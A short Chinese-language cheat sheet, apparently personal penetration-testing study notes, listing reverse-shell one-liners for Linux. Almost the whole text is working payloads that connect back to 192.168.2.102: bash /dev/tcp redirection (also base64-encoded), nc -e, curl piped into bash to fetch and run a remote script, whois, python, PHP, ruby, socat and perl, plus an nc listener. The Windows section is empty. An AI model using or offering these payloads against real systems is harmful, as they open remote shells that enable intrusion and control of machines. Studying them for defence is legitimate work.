反弹shell总结

PREFACE:学学渗透,补补基础

# 一、linux 下反弹 shell

# 1 bash 反弹

bash -i >& /dev/tcp/192.168.2.102/7777 0>&1

0>&1 表示重定向输出,将标准输入(STDIN)输出到标准输出(STDOUT)

>& /dev/tcp/192.168.2.102/7777 : 重定向输出。 >& 将标准输出(STDOUT)和标准错误输出(STDERR)都重定向到指定位置。

bash -i 指定 bash 在交互模式下运行,即这里可以与远程 vps 交互

可以通过 base64 反弹:

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

接收:

nc -lvp 7777

# 2 nc 反弹

nc -e /bin/bash 192.168.2.102 4444

在远程连接一个本地 shell

# 3 curl 反弹

curl 192.168.2.103/bash.html|bash

注:bash.html 里面写的是 bash -i >& /dev/tcp/192.168.2.102/7777 0>&1

# 4 whois 反弹

whois -h 192.168.2.102 -p 4444 `pwd`

反弹的 shell 后面只能执行后面带的命令

# 5 python 反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# 6 PHP 反弹

php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# 7 ruby 反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# 8 socat 反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.102:4444

# 9 Perl 反弹

perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 二、windows 下反弹 shell

看了一下,应用场景对比 c2 WebDelivery 几乎没有任何优势,先不整理了…